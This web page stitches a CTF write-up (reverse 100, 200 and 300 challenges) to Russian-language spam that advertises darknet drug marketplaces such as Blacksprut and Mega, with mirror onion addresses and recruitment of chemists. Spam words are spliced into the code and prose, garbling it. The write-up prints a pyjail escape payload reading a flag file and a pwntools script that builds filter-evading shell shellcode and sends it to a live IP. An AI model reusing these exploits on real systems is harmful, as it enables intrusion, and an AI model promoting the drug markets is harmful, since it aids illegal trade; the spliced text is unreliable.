Кракен даркнет рекламы
This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like сайт заходит z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result зеркало = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Кракен даркнет рекламы - Кракен сайт 1kraken me официальный
Комиссия от 1 любых покупок в любых категориях. Чтобы не попасть к мошенникам, используйте ссылки на площадку только с проверенных источников и проверяйте подлинность доменного имени. Blacksprut сайт promise extends to the guarantee of product availability and quality in over a thousand cities worldwide. Блэкспрут ссылка на сайт регистрации Блэкспрут сайт защищён от ботов. (Оригинальную ссылку можно взять на данном сайте). After that you will be able to start working with блэкспрут даркнет. Решение споров всегда справедливое и быстрое. Почему диллеры выбирают нас? Количество магазинов 2000 За счет нашей конкурентоспособности и предложением лучших условий, большинство диллеров выбирают именно нас. Баланс аккаунта Только на официальном сайте ты сможешь пополнить баланс через встроенные обменники. Prioritizing the safety and privacy of our users, Blacksprut сайт has a fully anonymous payment system that readily accepts cryptocurrency. Blacksprut сайт each time. Professionals are working on the Blacksprut Onion проект to protect the Blacksprut darknet зеркало so that customers do not lose access to the Blacksprut сайт. Также, купить BTC можно с помощью встроенных обменников на сайте. After that, blacksprut даркнет will allow you to work in the main team of блэкспрут онион. Blacksprut даркнет For users of Blacksprut сайт Blacksprut users can also work with us, for this you just need to bring new customers to the Blacksprut площадка and bonuses will accumulate according to your referral system blacksprut. Поэтому, чтобы попасть на сайт пользуйтесь данным рекламным сайтом с официальными и всегда актуальными ссылками на площадку. Welcome to blacksprut онион, your ultimate destination for all your shopping needs. Blacksprut площадка имеет самое высокое качество товаров и услуг среди всех конкурентов в даркнет onion. После успешно пройденной проверки, вы сможете авторизоваться или зарегистрироваться на сайте. Blacksprut зеркало Официальный сайт blacksprut Оплата Для оплаты товара или услуги на blacksprut com используется биткоин, это полностью исключает деанонимацию покупателей. Welcome to Blacksprut сайт, the renowned private internet marketplace - Blacksput onion revered for its distinctive exclusivity and unwavering commitment to surpassing the expectations of discerning Blacksprut darknet customers. How do I access the blacksprut сайт? Разнообразие товара 20000 На нашем маркете вы точно найдете ту позицию которая удовлетворит ваши желания. Таким образом вы сможете понять какому магазину по интересующему вас товару доверяют пользователи больше всего. Ссылка на сайт blacksprut com находится на данном сайте и постоянно обновляется. Рекомендуем вам сохранить данный сайт к себе, чтобы иметь доступ к blacksprut com в любое время. Onion Почему блекспрут? Why can't I find the Blacksprut сайт? You can find a Blacksprut сайт through the TOR browser by spelling out the name Blacksprut or blacksprut darknet or blacksprut onion. Система рейтинга предлагает вам самые надежные и популярные магазины на первых страницах. Connect to the bridge in order to find the сайт блэкспрут. If you are a chemist with a higher education, then you can start working with blacksprut сайт, for this you will have to pass a knowledge test, as well as work out and show them in action. Асортимент На маркетплейсе представлен весь асортимент запрещенных ПАВ и услуг которых в открытом интернете найти не возможно. Все что вам требуется - это открыть ссылку на blacksprut в любом удобном для вас месте. На других маркетах нужно отдавать до 20 от суммы сделки за прозрачные условия.
Как только соединение произошло. Кто ждёт? Information премьера Adam Maniac Remix Премьера сингла! Это больная тема в тёмном бизнесе. Mega darknet market и OMG! Выглядит Капча Меги так: После успешного ввода капчи на главной странице, вы зайдете на форму входа Меги. Onion сайтов без браузера Tor ( Proxy ) Просмотр.onion сайтов без браузера Tor(Proxy) - Ссылки работают во всех браузерах. Onion - Нарния клуб репрессированных на рампе юзеров. В появившемся окне перейдите в раздел " Установка и удаление программ " и уберите галочку " Брандмауэр Windows ". Способ 2: Через nk Не все онион страницы являются нелегальными или противозаконными, есть вполне безобидные, на которые без особого риска можно зайти через обычный браузер. Этот браузер считается одним из самых анономизированных и вычислить ваше местоположение просто по запросам и посещениям страниц практически невозможно. Ученик (95 на голосовании 1 неделю назад Сайт Mega, дайте пожалуйста официальную ссылку на Мегу или зеркала onion чтобы зайти через тор. Что-то про аниме-картинки пок-пок-пок. Частично хакнута, поосторожней. Первый способ заключается в том, что командой ОМГ ОМГ был разработан специальный шлюз, иными словами зеркало, которое можно использовать для захода на площадку ОМГ, применив для этого любое устройство и любой интернет браузер на нём. Оплата картой или криптой. На самом деле это сделать очень просто. Interlude x10, Interlude x50, Interlude x100, Interlude x1000, Interlude x5, Присоединяйтесь. Любой покупатель без труда найдет на просторах маркетплейса именно тот товар, который ему нужен, и сможет его приобрести по выгодной цене в одном из десятков тысяч магазинов. Onion - PIC2TOR, хостинг картинок. Введя капчу, вы сразу же попадете на портал. W3.org На этом сайте найдено 0 ошибки. Самые простые способы открыть заблокированные сайты 13 марта Генпрокуратура РФ разом заблокировала сайты нескольких интернет-изданий и блог Алексея Навального, в очередной раз заставив пользователей рунета задуматься о том, что в ближайшем будущем блокировки станут для них рутиной. Леха Кислый Пользователь Нашел данный сайт через Гугл по запросу: Mega ссылка. Ранее на reddit значился как скам, сейчас пиарится известной зарубежной площадкой. Только сегодня узнала что их закрылся. Конечно же, неотъемлемой частью любого хорошего сайта, а тем более великолепной Меге является форум. Onion - CryptoShare файлообменник, размер загрузок до 2 гб hostingkmq4wpjgg. Исходя из данной информации можно сделать вывод, что попасть в нужную нам часть тёмного интернета не очень-то и сложно, всего лишь необходимо найти нужные нам ссылки, которые, кстати, все есть в специальной Википедии черного интернета. Комментарии Fantom98 Сегодня Поначалу не мог разобраться с пополнением баланса, но через 10 мин всё-таки пополнил и оказалось совсем не трудно это сделать. PGP, или при помощи мессенджера Jabber. Еще есть варианты попасть на основной сайт через зеркала Мега Даркнет, но от этого процедура входа на площадку Даркнет Мега не изменится. Если вы не хотите случайно стать жертвой злоумышленников - заходите на мега по размещенным на этой странице мега ссылкам. Если быть точнее это зеркала. После этого поиск выдаст необходимы результаты. Всяческие политико-революционно-партизанские ресурсы здесь не привожу намеренно. Для этого используют специальные PGP-ключи. Главное зеркало: mega555kf7lsmb54yd6etzginolhxxi4ytdoma2rf77ngq55fhfcnyid. Доврачебная помощь при передозировке и тактика работы сотрудников скорой. Как только будет сгенерировано новое зеркало Mega, оно сразу же появится здесь. Частично хакнута, поосторожней. Отзывы о великой Меге встречаются разные. На данный момент Гидра com является самым удобным и приятным криптомаркетом всей сети интернет. Ramp подборка пароля, рамп моментальных покупок в телеграмме, не удалось войти в систему ramp, рамп фейк, брут рамп, фейковые ramp, фейковый гидры. И на даркнете такие же площадки есть, но вот только владельцы многих из них уже были пойманы и сейчас они сидят уже за решеткой. Простота, удобство, возможность выбора гарантов и фокус на анонимности и безопасности - их фишка.